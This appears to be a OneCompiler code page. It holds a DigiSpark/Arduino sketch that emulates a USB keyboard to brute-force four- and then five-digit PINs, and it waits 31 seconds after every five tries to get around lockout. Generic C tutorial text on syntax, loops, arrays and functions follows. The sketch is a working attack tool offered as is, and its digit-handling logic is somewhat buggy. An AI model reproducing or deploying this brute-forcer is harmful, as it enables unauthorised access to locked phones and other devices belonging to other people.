 #include "DigiKeyboard.h"
int num[] = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38};
int a = 0; //1st digit
int b = 0; //2nd digit
int c = 0; //3rd digit
int d = 0; //4th digit
int e = 0; //5th digit
int count = 0;
bool key_stroke_e = false;

void setup() {
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0); //this is generally not necessary but with some older systems it seems to prevent missing the first character after a delay
  delay(3000);
}

void loop() {
  //After 5 attempts, initialize 31000 ms wait to retry.
  if(count == 5){
    digitalWrite(1,HIGH); //Change this to 0 if using DigiSpark model B
    DigiKeyboard.sendKeyStroke(40); //we hit enter to make the popup go away
    delay(31000);
    count = 0;
    digitalWrite(1,LOW);
  }
  /*Sends keystrokes based upon the values between 0-9 
  It will start bruting 5 digits if a exceeds 10*/
  if (key_stroke_e == false)
    DigiKeyboard.sendKeyStroke(num[a]);
    DigiKeyboard.sendKeyStroke(num[b]);
    DigiKeyboard.sendKeyStroke(num[c]);
    DigiKeyboard.sendKeyStroke(num[d]);
  //check for whether it is true. If so, use 5 digits instead.
  if (key_stroke_e == true){
    DigiKeyboard.sendKeyStroke(num[a]);
    DigiKeyboard.sendKeyStroke(num[b]);
    DigiKeyboard.sendKeyStroke(num[c]);
    DigiKeyboard.sendKeyStroke(num[d]);
    DigiKeyboard.sendKeyStroke(num[e]);
  }
  DigiKeyboard.sendKeyStroke(40);
  delay(1000);
  d++;
  count++;
  //If the 4th digit is past 9, it cycles back to 0 and increments the 3rd digit 
  if(d == 10){
    d = 0;
    c++;
    //If the 3rd digit is past 9, it cycles back to 0 and increments the 2nd digit
    if(c == 10){
      c = 0;
      b++;
      //If the 2nd digit is past 9, it cycles back to 0 and increments the 1st digit
      if(b == 10){
        b = 0;
        a++; //if the 1st digit is past 9 it'll probably just throw out errors.
  if(a == 10){
    //remain_true will equal true, loop through void(), and send the 5th keystroke
    key_stroke_e = true;
    e++;
    //Remember that brute forcing will still work, despite its strange order.
    //After e == 10, it will become 0 again.
    if(e == 10){
      e = 0;
    }
  }
      }  
    }
  }    
}

created 1 year ago

C Language online compiler

Write, Run & Share C Language code online using OneCompiler's C online compiler for free. It's one of the robust, feature-rich online compilers for C language, running the latest C version which is C18. Getting started with the OneCompiler's C editor is really simple and pretty fast. The editor shows sample boilerplate code when you choose language as 'C' and start coding!

Read inputs from stdin

OneCompiler's C online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample C program which takes name as input and print your name with hello.

#include <stdio.h>
int main()
{
    char name[50];
    printf("Enter name:");
    scanf("%s", name);
    printf("Hello %s \n" , name );
    return 0;
    
}

About C

C language is one of the most popular general-purpose programming language developed by Dennis Ritchie at Bell laboratories for UNIX operating system. The initial release of C Language was in the year 1972. Most of the desktop operating systems are written in C Language.

Key features:

Structured Programming
Popular system programming language
UNIX, MySQL and Oracle are completely written in C.
Supports variety of platforms
Efficient and also handle low-level activities.
As fast as assembly language and hence used as system development language.

Syntax help

Loops

1. If-Else:

When ever you want to perform a set of operations based on a condition if-else is used.

if(conditional-expression) {
   // code
} else {
   // code
}

You can also use if-else for nested Ifs and if-else-if ladder when multiple conditions are to be performed on a single variable.

2. Switch:

Switch is an alternative to if-else-if ladder.

switch(conditional-expression) {    
case value1:    
 // code    
 break;  // optional  
case value2:    
 // code    
 break;  // optional  
...    
    
default:     
 // code to be executed when all the above cases are not matched;    
}

3. For:

For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
  // code  
}

4. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while(condition) {  
 // code 
}

5. Do-While:

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {
  // code 
} while (condition);

Arrays

Array is a collection of similar data which is stored in continuous memory addresses. Array values can be fetched using index. Index starts from 0 to size-1.

Syntax

One dimentional Array:

data-type array-name[size];

Two dimensional array:

data-type array-name[size][size];

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity.

Two types of functions are present in C

Library Functions:

Library functions are the in-built functions which are declared in header files like printf(),scanf(),puts(),gets() etc.,

User defined functions:

User defined functions are the ones which are written by the programmer based on the requirement.

How to declare a Function

return_type function_name(parameters);

How to call a Function

function_name (parameters)

How to define a Function

return_type function_name(parameters) {  
  //code
}